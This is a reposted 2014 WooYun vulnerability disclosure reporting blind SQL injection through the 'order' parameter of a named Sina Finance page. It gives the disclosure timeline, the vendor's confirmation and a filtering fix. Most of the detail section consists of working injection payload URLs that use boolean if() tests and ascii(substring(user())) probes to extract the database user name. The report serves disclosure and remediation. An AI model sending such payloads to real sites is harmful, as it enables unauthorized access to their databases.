新浪财经某站sql盲注

admin 2015年5月14日19:55:07评论286 views字数 200阅读0分40秒阅读模式
摘要

2014-08-06: 细节已通知厂商并且等待厂商处理中
2014-08-06: 厂商已经确认,细节仅向厂商公开
2014-08-16: 细节向核心白帽子及相关领域专家公开
2014-08-26: 细节向普通白帽子公开
2014-09-05: 细节向实习白帽子公开
2014-09-20: 细节向公众公开

漏洞概要 关注数(7) 关注此漏洞

缺陷编号: WooYun-2014-71187

漏洞标题: 新浪财经某站sql盲注

相关厂商: 新浪

漏洞作者: nextdoor

提交时间: 2014-08-06 10:13

公开时间: 2014-09-20 10:14

漏洞类型: SQL注射漏洞

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 字符类型注射

2人收藏


漏洞详情

披露状态:

2014-08-06: 细节已通知厂商并且等待厂商处理中
2014-08-06: 厂商已经确认,细节仅向厂商公开
2014-08-16: 细节向核心白帽子及相关领域专家公开
2014-08-26: 细节向普通白帽子公开
2014-09-05: 细节向实习白帽子公开
2014-09-20: 细节向公众公开

简要描述:

新浪财经某站sql盲注

详细说明:

存在漏洞的网站

http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc

漏洞参数order

主要是order by 后的注入和sql语句构造

利用代码

code 区域
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((1=1),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确

新浪财经某站sql盲注

code 区域
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((1=2),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回错误

新浪财经某站sql盲注

code 区域
根据报错,我们就可以盲注了
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),1,1))=66),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确,可以猜出user()的首字符为B
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),2,1))=73),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确,可以猜出user()的第二个字符为I
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),3,1))=90),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc# //返回正确,可以猜出user()的第三字符为Z

可以注处user()的前三位是BIZ

可以写一个脚步进行注入

漏洞证明:

存在漏洞的网站

http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc

漏洞参数order

利用代码

code 区域
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((1=1),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#

新浪财经某站sql盲注

code 区域
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((1=2),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#

新浪财经某站sql盲注

code 区域
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),1,1))=66),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),2,1))=73),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#
http://biz.finance.sina.com.cn/news_through/amore.php?date=2008-09-03&order=%20desc,if((select%20ascii(substring(user(),3,1))=90),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES))%20asc#

可以注处user()的前三位是BIZ

可以写一个脚步进行注入

修复方案:

对order参数进行过滤

版权声明:转载请注明来源 nextdoor@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-08-06 11:21

厂商回复:

感谢对新浪安全的支持

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin